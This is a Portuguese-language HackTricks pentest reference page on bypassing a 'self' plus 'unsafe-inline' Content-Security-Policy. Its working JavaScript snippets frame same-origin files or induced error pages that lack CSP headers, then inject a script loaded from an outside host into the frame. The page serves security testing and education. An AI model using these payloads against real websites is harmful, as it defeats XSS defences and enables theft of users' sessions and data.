CSP bypass: self + 'unsafe-inline' with Iframes

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Uma configuração como:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Proíbe o uso de quaisquer funções que executem código transmitido como uma string. Por exemplo: eval, setTimeout, setInterval serão todos bloqueados por causa da configuração unsafe-eval

Qualquer conteúdo de fontes externas também é bloqueado, incluindo imagens, CSS, WebSockets e, especialmente, JS

Via Text & Images

Observa-se que os navegadores modernos convertem imagens e textos em HTML para melhorar sua exibição (por exemplo, definindo backgrounds, centralizando, etc.). Consequentemente, se uma imagem ou arquivo de texto, como favicon.ico ou robots.txt, for aberto por meio de um iframe, ele será renderizado como HTML. Notavelmente, essas páginas frequentemente não possuem cabeçalhos CSP e podem não incluir X-Frame-Options, permitindo a execução de JavaScript arbitrário a partir delas:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Através de Erros

Da mesma forma, respostas de erro, como arquivos de texto ou imagens, geralmente são enviadas sem cabeçalhos CSP e podem omitir X-Frame-Options. Erros podem ser induzidos a carregar dentro de um iframe, permitindo as seguintes ações:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Após acionar qualquer um dos cenários mencionados, a execução de JavaScript dentro do iframe é possível da seguinte forma:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated